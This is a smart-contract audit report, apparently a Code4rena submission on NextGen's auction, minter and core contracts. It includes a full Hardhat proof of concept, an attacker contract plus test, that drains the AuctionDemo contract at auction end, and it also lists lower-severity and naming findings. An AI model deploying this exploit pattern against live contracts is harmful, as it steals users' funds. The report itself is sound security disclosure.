NextGen - devival's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

A malicious attacker can steal the funds from the AuctionDemo contract by calling claimAuction and cancelAllBids in one transaction if, right before the auction is finished, the auctionContract still has more funds from other live auctions.

Proof of Concept

Suppose there is two auctions running, for a token 1 and token 2

1. Alice places a 3 ETH bid for a token 1
2. Bobby place a 10 ETH bid for a token 2
3. Now the auction contract has 13 ETH in balance
4. During the last second of auction, attacker steps in and does the following in one transaction:
   • Places a new 10 ETH bid for a token 1 (auction contract balance now = 23 ETH)
   • Claims the auction to get the token (auction contract sends 3 ETH back to Alice, and 10 ETH to auction contract owner)
   • Cancels his bid to get the remaining 10 ETH back. As a result, the contract balance now equals 0.

To replicate in your local environment:

1. Add BidAttacker.sol to hardhat/smart-contracts. Here is an example (each step is highlighted in the comments):

  File: hardhat/smart-contracts/BidAttacker.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IERC721.sol";
import "./Ownable.sol";
import "./IMinterContract.sol";
import "./IERC721Receiver.sol";

interface IAuctionDemo {
    function returnHighestBid(uint256 _tokenId) external view returns (uint256);
    function participateToAuction(uint256 _tokenId) external payable;
    function claimAuction(uint256 _tokenId) external;
    function cancelAllBids(uint256 _tokenId) external;
}

contract BidAttacker is Ownable {
    IMinterContract public minterContract;
    IAuctionDemo public auctionContract;
    IERC721 public gencoreContract;

    bool public isHacked;
    uint256 tokenId; // keep in storage for later withdrawal

    constructor(address _auctionContractAddress, address _minterContractAddress, address _gencoreContractAddress) {
        minterContract = IMinterContract(_minterContractAddress);
        auctionContract = IAuctionDemo(_auctionContractAddress);
        gencoreContract = IERC721(_gencoreContractAddress);
    }

    // main attack function
    function bidAttack(uint256 _tokenId) public payable onlyOwner {
        tokenId = _tokenId;
        // check if the current block.timestamp is last
        require(block.timestamp == minterContract.getAuctionEndTime(_tokenId), "Wrong block.timestamp");

        // place a bid
        auctionContract.participateToAuction{value: msg.value}(_tokenId);

        // claimAuction
        auctionContract.claimAuction(_tokenId);

        // call cancelBid on the last block.timestamp
        auctionContract.cancelAllBids(_tokenId);
    }

    // withdraw funds and token to the attacker EOA account
    function withdraw() public {
        (bool success,) = payable(owner()).call{value: address(this).balance}("");
        require(success, "Withdrawal failed");
        gencoreContract.safeTransferFrom(address(this), owner(), tokenId);
    }

    // receive the funds and withdraw to attackerEOA
    receive() external payable {
        withdraw();
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        external
        returns (bytes4)
    {
        return IERC721Receiver.onERC721Received.selector;
    }
}

2. Edit hardhat/scripts/fixtureDeployments.jsby adding attackerEOA signer, deploying AuctionDemo.sol and BidAttacker.sol contracts. Updated fixtureDeployments.js file example:

The edits are highlighted with "POC" tag in comments

  File: hardhat/scripts/fixtureDeployments.js

const { ethers } = require("hardhat")

// Setup test environment:
const fixturesDeployment = async () => {
  const signersList = await ethers.getSigners()
  const owner = signersList[0]
  const addr1 = signersList[1]
  const addr2 = signersList[2]
  const addr3 = signersList[3]
  const attackerEOA = signersList[4]; // for POCs


  const delegation = await ethers.getContractFactory(
    "DelegationManagementContract",
  )
  const hhDelegation = await delegation.deploy()

  const randoms = await ethers.getContractFactory("randomPool")
  const hhRandoms = await randoms.deploy()

  const nextGenAdmins = await ethers.getContractFactory("NextGenAdmins")
  const hhAdmin = await nextGenAdmins.deploy()

  const nextGenCore = await ethers.getContractFactory("NextGenCore")
  const hhCore = await nextGenCore.deploy(
    "Next Gen Core",
    "NEXTGEN",
    await hhAdmin.getAddress(),
  )

  // This example uses the NXT Randomizer

  const randomizer = await ethers.getContractFactory("NextGenRandomizerNXT")
  const hhRandomizer = await randomizer.deploy(
    await hhRandoms.getAddress(),
    await hhAdmin.getAddress(),
    await hhCore.getAddress()
  )

  const nextGenMinter = await ethers.getContractFactory("NextGenMinterContract")
  const hhMinter = await nextGenMinter.deploy(
    await hhCore.getAddress(),
    await hhDelegation.getAddress(),
    await hhAdmin.getAddress(),
  )

  // POCs start
  const auction = await ethers.getContractFactory("auctionDemo");
  const hhAuction = await auction.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress()
  );

  const bidAttacker = await ethers.getContractFactory("BidAttacker");
  const hhBidAttacker = await bidAttacker.connect(attackerEOA).deploy(
    await hhAuction.getAddress(),
    await hhMinter.getAddress(),
    await hhCore.getAddress()
  )
  // POCs end


  const contracts = {
    hhAdmin: hhAdmin,
    hhCore: hhCore,
    hhDelegation: hhDelegation,
    hhMinter: hhMinter,
    hhRandomizer: hhRandomizer,
    hhRandoms: hhRandoms,
    // POCs start
    hhAuction: hhAuction,
    hhBidAttacker: hhBidAttacker,
    // POCs end
  }

  const signers = {
    owner: owner,
    addr1: addr1,
    addr2: addr2,
    addr3: addr3,
    attackerEOA: attackerEOA, // for POCs
  }

  return {
    signers,
    contracts,
  }
}

module.exports = fixturesDeployment

3. Add POCs.test.js to hardhat/test. Here is the hardhat POCs.test.js script to run the attack scenario in javascript (each step is highlighted in the comments and it will print all the balances to the console):

  File: hardhat/test/POCs.test.js

const {
    loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js");
const { time } = require('@nomicfoundation/hardhat-network-helpers'); // for POCs

let signers;
let contracts;

describe("Proof of Concept", function () {
    before(async function () {
        ({ signers, contracts } = await loadFixture(fixturesDeployment));
    });

    context("Bid_Attack", () => {

        before("#dataWereAdded", async function () {
            // create collection_1
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"]
            );

            // set collection_1 data
            await contracts.hhCore.setCollectionData(
                1, // _collectionID
                signers.addr1.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0 // _setFinalSupplyTimeAfterMint
            );

            // set collection_1 costs
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                100, // _timePeriod :: POC edited from 0 to 100
                1, // _salesOptions
                "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
            );


            // set collection_1 phases 
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                1696931278, // _allowlistStartTime
                1696931278, // _allowlistEndTime
                1696931278, // _publicStartTime
                1796931278, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
            );
            const dataAdded = await contracts.hhCore.retrievewereDataAdded(1);

            // add minter contract to hh core
            await contracts.hhCore.addMinterContract(contracts.hhMinter);
            // add randomizer to hh core collection 1
            await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);


            expect(dataAdded).equal(true);
        });

        let tokenId, tokenId2;
        // create collection and add data
        it("#mintAndAuction", async function () {
            // set auction end time for 100 seconds from now
            const auctionEndTime = await time.latest() + 100;

            // get tokenId gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
            tokenId = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
            tokenId2 = tokenId + BigInt(1);

            // mint and put on auction in same tx
            await contracts.hhMinter.mintAndAuction(
                signers.addr1.address, // _recipient
                '{"tdh": "100"}', // _tokenData
                2, //_saltfun_o
                1, // _collectionID
                auctionEndTime // _auctionEndTime
            );
            await contracts.hhMinter.mintAndAuction(
                signers.addr1.address, // _recipient
                '{"tdh": "100"}', // _tokenData
                2, //_saltfun_o
                1, // _collectionID
                auctionEndTime // _auctionEndTime
            );

            // check if auction went live
            expect(await contracts.hhMinter.getAuctionStatus(tokenId)).equal(true);
            expect(await contracts.hhMinter.getAuctionStatus(tokenId2)).equal(true);

            // approve tokenId
            const auctionContractAddress = await contracts.hhAuction.getAddress();
            await contracts.hhCore.connect(signers.addr1).approve(auctionContractAddress, tokenId);
        });

        it("#placeBidsForToken1", async function () {
            const THREE_ETH = BigInt(3 * 1e18);
            await contracts.hhAuction.connect(signers.addr1).participateToAuction(tokenId, { value: THREE_ETH }); // 3 eth

            const currentBid = await contracts.hhAuction.returnHighestBid(tokenId);

            expect(currentBid).equal(THREE_ETH); // highest bid has to be 3 ETH
        });
        it("#placeBidsForToken2", async function () { // to have other balance
            const TEN_ETH = BigInt(10 * 1e18);
            await contracts.hhAuction.connect(signers.addr1).participateToAuction(tokenId2, { value: TEN_ETH }); // 10 eth

            const currentBid = await contracts.hhAuction.returnHighestBid(tokenId2);

            expect(currentBid).equal(TEN_ETH); // highest bid has to be 10 ETH
        });
        it("#Attack", async function () {
            const TEN_ETH = BigInt(10 * 1e18);

            // Pre-condition: the auctionContract balance has to have the balance higher than the total amount of all bids
            // > For instance: have other auctions running, that's why we have #placeBidsForToken2 test

            // check auctionEndTime and execute attack during the final second
            const auctionEndTime = await contracts.hhMinter.getAuctionEndTime(tokenId);
            await time.increaseTo(auctionEndTime - BigInt(1)); // was adding plus one second
            // On a live blockchain, an attacker can create a mechanism to periodically check 
            // the current timestamp and trigger the transaction when the desired timestamp is reached

            // check and log ETH balances before the attack
            const attackerBalanceBefore = await ethers.provider.getBalance(signers.attackerEOA.address);
            const auctionBalanceBefore = await ethers.provider.getBalance(await contracts.hhAuction.getAddress());
            console.log("Attacker ETH before = ", parseInt(attackerBalanceBefore) / 1e18);
            console.log("Auction ETH before = ", parseInt(auctionBalanceBefore) / 1e18);
            console.log("Previous token owner: ", await contracts.hhCore.ownerOf(tokenId));

            // execute + send enough funds
            // the bid can either be the sum of auction contract balance minus the sum of bids for this tokenId (in this case equals 10 ETH)
            // or it can equal the current highestBid = 1 wei - in this case the auction might still have some ETH left from other running auctions
            await contracts.hhBidAttacker.connect(signers.attackerEOA).bidAttack(tokenId, { value: TEN_ETH });

            // check and log balances after the attack
            const attackerBalanceAfter = await ethers.provider.getBalance(signers.attackerEOA.address);
            const auctionBalanceAfter = await ethers.provider.getBalance(await contracts.hhAuction.getAddress());
            // the attacker will receive the token and his bid back
            console.log("Attacker ETH after = ", parseInt(attackerBalanceAfter) / 1e18);
            // the auction contract will loose all the funds (attacker receives his bid and admins receive the other ones)
            console.log("Auction ETH after = ", parseInt(auctionBalanceAfter) / 1e18);
            console.log("New token owner: ", await contracts.hhCore.ownerOf(tokenId));
            console.log("Attacker address: ", signers.attackerEOA.address);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.equal(signers.attackerEOA.address); // check if attacker now owns the token
            expect(attackerBalanceAfter).to.be.greaterThan(attackerBalanceBefore - BigInt(0.001 * 1e18)); // check if attacker balance hasn't changed minus gas fees
        });
    })
});

4. run cd hardhat
5. run npx hardhat test --grep "Bid_Attack"
6. See Attack details logged in the terminal

Tools Used

Manual Review

Recommended Mitigation Steps

Replace block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction() with ``block.timestamp > minter.getAuctionEndTime(_tokenid)`. AuctionDemo.sol#L105

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112-L114

Vulnerability details

Impact

Sending the highest bid to the auction contract owner poses a centralization risk. Owners of auctioned tokens would have to rely solely on trust to auctionDemo contract owners to get the funds.

Proof of Concept

According to the scope description of AuctionDemo.sol: “The auctionDemo smart contract holds the current auctions after the mintAndAuction functionality is called. Users can bid on a token, and the highest bidder can claim the token after an auction finishes.” Below is a withdrawal part of claimAuction function, which has auctionDemo.owner() as a receiver of the funds:

File: smart-contracts/AuctionDemo.sol                
112: 		    IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);

113: 		    (bool success, ) = payable(owner()).call{value: highestBid}("");

114: 		    emit ClaimAuction(owner(), _tokenid, success, highestBid);

AuctionDemo.sol#L112-L114

Tools Used

Manual Review

Recommended Mitigation Steps

Send the funds to the actual token holder to make the auction process trustless. Replace the receiver owner() in claimAuction:

File: smart-contracts/AuctionDemo.sol                

113: 		    (bool success, ) = payable(owner()).call{value: highestBid}("");

114: 		    emit ClaimAuction(owner(), _tokenid, success, highestBid);

with:

File: smart-contracts/AuctionDemo.sol                

113: 		    (bool success, ) = payable(ownerOfToken).call{value: highestBid}("");

114: 		    emit ClaimAuction(ownerOfToken, _tokenid, success, highestBid);

Assessed type

ETH-Transfer

Low Severity Issues

L-01: Missing checks for _setFinalSupplyTimeAfterMint param in the setCollectionData would make the collection idle.

Recommendation: add require(_setFinalSupplyTimeAfterMint > block.timestamp) in setCollectionData of NextGenCore.sol: 147

L-02: Missing checks for isAdminContract() in RandomizerNXT.updateAdminsContract

All main contracts such as NextGenCore, MinterContract, RandomizerRNG, and RandomizerVRF have a check if the new admins' contract is an admin contract. However, the RandomizerNXT lacks this check. This would allow admins to submit irrelevant contract as admin contract in RandomizerNXT.

Recommendation: Replace

function updateAdminsContract(address _admin) public FunctionAdminRequired(this.updateAdminsContract.selector) {
        adminsContract = INextGenAdmins(_admin);
    }

RandomizerNXT.sol#L45 with:

function updateAdminsContract(address _admin) public FunctionAdminRequired(this.updateAdminsContract.selector) {
        require(INextGenAdmins(_admin).isAdminContract() == true, "Contract is not Admin");
        adminsContract = INextGenAdmins(_admin);
    }

L-03: Missing checks for the _setFinalSupplyTimeAfterMint param in setCollectionData would make the collection idle.

Recommendation: add require(_setFinalSupplyTimeAfterMint > block.timestamp) in setCollectionData of NextGenCore.sol: 147

L-04: totalSupplyOfCollection and collectionTotalSupply return different values

Impact According to the docs, the retrieveCollectionAdditionalData() function returns the additional data that were set for a collection, including collectionTotalSupply. Another one, the totalSupplyOfCollection() function, returns the total token supply of a collection (collectionCirculationSupply - burnAmount).

As a consequence, when there is a difference between collectionCirculationSupply and collectionTotalSupply, or if some tokens are burned, the totalSupplyOfCollection value would decrease while the collectionAdditionalData[_collectionID].collectionTotalSupply would remain the same. In this case, the retrieveCollectionAdditionalData() function would not provide up-to-date information to the users and leak its value.

Proof of Concept

1. Alice creates a new collection and sets collectionTotalSupply to 10
2. Bobby mints 5 tokens:
3. Bobby wants to check the total supply of collection with retrieveCollectionAdditionalData(_collectionID).collectionTotalSupply but would see 10 as a return value instead of 5, which he would see in totalSupplyOfCollection; this would make the user confused.

retrieveCollectionAdditionalData and totalSupplyOfCollection functions:

File: smart-contracts/NextGenCore.sol

    function retrieveCollectionAdditionalData(uint256 _collectionID) public view returns(address, uint256, uint256, uint256, uint, address){
        return (collectionAdditionalData[_collectionID].collectionArtistAddress, collectionAdditionalData[_collectionID].maxCollectionPurchases, collectionAdditionalData[_collectionID].collectionCirculationSupply, collectionAdditionalData[_collectionID].collectionTotalSupply, collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint, collectionAdditionalData[_collectionID].randomizerContract);
    }
    // .. other code
    function totalSupplyOfCollection(uint256 _collectionID) public view returns (uint256) {
        return (collectionAdditionalData[_collectionID].collectionCirculationSupply - burnAmount[_collectionID]);
    }

438-440, 461-463

Recommended Mitigation Steps Two options:

1. Explain the difference in documentation
2. If the struct variable collectionTotalSupply refers to the initial total supply (before any tokens are burned), then rename it to collectionMaxSupply (preferred option).

L-05: getPrice would return zero if the collection does not exist or its data is not set yet

Recommendation: Check if the collection has data added before calculating the prices. For instance, add require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data to a collection"); at the beginning of getPrice function: 530-568

XRandoms.sol - informational

• Redundant function: returnIndex() returns the same result as getWord does. Set getWord() function visibility to public and remove returnIndex() function. XRandoms.sol#L15, XRandoms.sol#L45-L47

RandomizerRNG.sol - informational

• The Withdraw event only shows the initiator's address but not the receiver's (owner); this might be insufficient to understand for the event's reader. Add the receiver's address (msg.sender) as an event argument. RandomizerRNG.sol#L24, RandomizerRNG.sol#L83

AuctionDemo.sol - informational

• Replace address indexed _add with address indexed _address to improve the code readability. There are 7 instances of this issue

File: smart-contracts/AuctionDemo.sol

22:             event ClaimAuction(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds);

23:             event Refund(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds);

24:             event CancelBid(address indexed _add, uint256 indexed tokenid, uint256 index, bool status, uint256 indexed funds);

[22, 23, 24]

File: smart-contracts/MinterContract.sol

124:            event PayArtist(address indexed _add, bool status, uint256 indexed funds);

125:            event PayTeam(address indexed _add, bool status, uint256 indexed funds);

126:            event Withdraw(address indexed _add, bool status, uint256 indexed funds);

[124, 125, 126]

File: smart-contracts/RandomizerRNG.sol

24:             event Withdraw(address indexed _add, bool status, uint256 indexed funds);

[24]

• Replace auctionInfoStru with AuctionInfoStruct to improve the code readability and follow the Solidity naming convention.

File: smart-contracts/AuctionDemo.sol

43:             struct auctionInfoStru {

[43]

NextGenAdmins.sol - informational

• Any function that registers admins can also remove them by just passing _status as false. The removal functionality is not included in documentation at the moment, which might confuse users who are not proficient in reading Solidity code. Instances: 38, 44, 50, 58

• If NextGenAdmins contract owner deregisters themselves, they will lose GlobalAdmin status, which might confuse the owner and users. Recommendation: in registerAdmin() add require(msg.sender != owner()), "You are an owner!" 38-40

NextGenCore.sol - informational

• Unnecessary storage of both the randomizer address and its contract:

    struct collectionAdditonalDataStructure {
        // ... other code
        uint256 setFinalSupplyTimeAfterMint;
        address randomizerContract;
    }

52-53 Recommendation: 1. Remove the randomizerContract variable in the collectionAdditonalDataStructure struct 52 2. Remove the line 172 3. Replace collectionAdditionalData[_collectionID].randomizerContract with address(collectionAdditionalData[_collectionID].randomizer) in setTokenHash and retrieveCollectionAdditionalData functions 300, 438

• Unnecessary mapping artistSignatures, as artistSigned would be enough. Remove the artistSignatures mapping and _signature parameter in the artistSignature() function to save gas and improve readability. Instances in NextGenCore.sol: 89, 260, 257 Alternatively, artistSigned can be removed and in every check can be used artistsSignatures[_collectionID] != ""; however, this would also require an additional check for empty strings in the artistSignature() function.

• Artists can sign with empty strings. In order to prevent this, add a check for empty strings require (_signature != "") in the artistSignature() function. 257-262

• The NextGenCore.sol constructor set calls ERC2981._setDefaultRoyalty setting 6.9% royalty rate to an unknown address 0x1B1289E34Fe05019511d7b436a5138F361904df0, however, the usage of additional royalties on top of MinterContract collection royalties is not justified and might confuse users. Recommendation: either explain the reason for NextGenCore royalties and its difference from MinterContract's royalties in documentation or remove _setDefaultRoyalty(0x1B1289E34Fe05019511d7b436a5138F361904df0, 690); from the constructor. 111

Multi-contract non-critical issues

• Make sure your contract name and .sol file name are the same for better readability, organization, compatibility, and consistency in the codebase. Rename the following contract names:

AuctionDemo.sol:    auctionDemo → AuctionDemo
MinterContract.sol: NextGenMinterContract → MinterContract
RandomizerNXT.sol:  NextGenRandomizerNXT → RandomizerNXT
RandomizerRNG.sol:  NextGenRandomizerRNG → RandomizerRNG
RandomizerVRF.sol:  NextGenRandomizerVRF → RandomizerVRF
XRandoms.sol:       randomPool → XRandoms

• INFO: Some supply checks and logic can be moved to a single function, _mintProcessing instead of having them in every function that leads to a token mint.

In order to increase readability and make it easier to spot potential bugs and inconsistencies, it is recommended to remove the following instances:

File: smart-contracts/NextGenCore.sol

180:    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
181:    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {

191:    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
192:    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {

216:    collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
217:    if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {

180-181, 191-192, 216-217

File: smart-contracts/MinterContract.sol

183:    uint256 collectionTokenMintIndex;

185:    collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1;
186:    require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");

230:    uint256 collectionTokenMintIndex;
231:    collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1;
232:    require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");

263:    uint256 collectionTokenMintIndex;
264:    collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
265:    require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply");

278:    uint256 collectionTokenMintIndex;
279:    collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
280:    require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");

358:        uint256 collectionTokenMintIndex;
359:        collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
360:        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");

183, 185-186, 230-232, 263-265, 278-280, 358-360

Instead, in the _mintProcessing functionality of NextGenCore.sol, add a single supply check, supply increase logic, and a mintIndex generator:

    require(_mintIndex <= collectionAdditionalData[_collectionID].reservedMaxTokensIndex, "No supply");
    ++collectionAdditionalData[_collectionID].collectionCirculationSupply;

Also, mintIndex can be generated at the last stages in gencore._mintProcessing instead of calculating it in MinterContract.sol function.

Incorrect grammar

• Rename participateToAuction to participateInAuction

File: smart-contracts/AuctionDemo.sol

57:             function participateToAuction(uint256 _tokenid) public payable {

AuctionDemo.sol#L57

• Rename maxCollectionPurchases to maxMintsPerAddress or maxAllowance in all instances for better readability. According to the documentation, the maxCollectionPurchases variable relates to the maximum amount of tokens allowed to be minted per address. Users or other developers can misunderstand the current naming:

    struct collectionAdditonalDataStructure {
        // ... other code
        uint256 maxCollectionPurchases;
        // ... other code
    }

NextGenCore.sol: 46, 145, 147, 151, 160, 163, 400, 439

• Rename the wereDataAdded variable to isDataAdded and retrievewereDataAdded to retrieveIsDataAdded in order to improve the readability of the code and make it more consistent with common naming conventions. Instances in NextGenCore.sol: 65, 157, 377, 378

• Rename the _recipient parameter to _mintTo (as it is in the rest of the codebase) in airDropTokens and _mintProcessing in order to improve the readability of the code and make it more consistent with common naming conventions. Instances in NextGenCore.sol: 178, 182, 183, 227, 231

• Rename the freezeCollection function to permanentlyFreezeCollection to provide developers and users with a clearer understanding of the long-term impact of invoking that function. NextGenCore.sol: 292

• Rename the viewColIDforTokenID function to viewCollectionIDforTokenID to improve the readability of the code and make it more consistent with common naming conventions. NextGenCore.sol: 372

• Rename the retrieveTokensMintedALPerAddress function to retrieveAllowlistTokensMintedByAddress to improve the readability of the code and make it more consistent with common naming conventions. NextGenCore.sol: 404

• Rename the following mappings to improve the readability of the code in MinterContract.sol: collectionTotalAmount to collectionFundsRaised: 23 mintToAuctionData to tokenToAuctionEndTime: 112 mintToAuctionStatus to tokenToAuctionStatus: 115 gencore to gencoreContract for naming consistency: 118

• Rename the following error messages to improve the readability and user experience in MinterContract.sol: AL limit to Reached Allowance Limit in 2 instances: 213, 217 Wrong ETH to Not Enough ETH in 3 instances: 233, 266, 361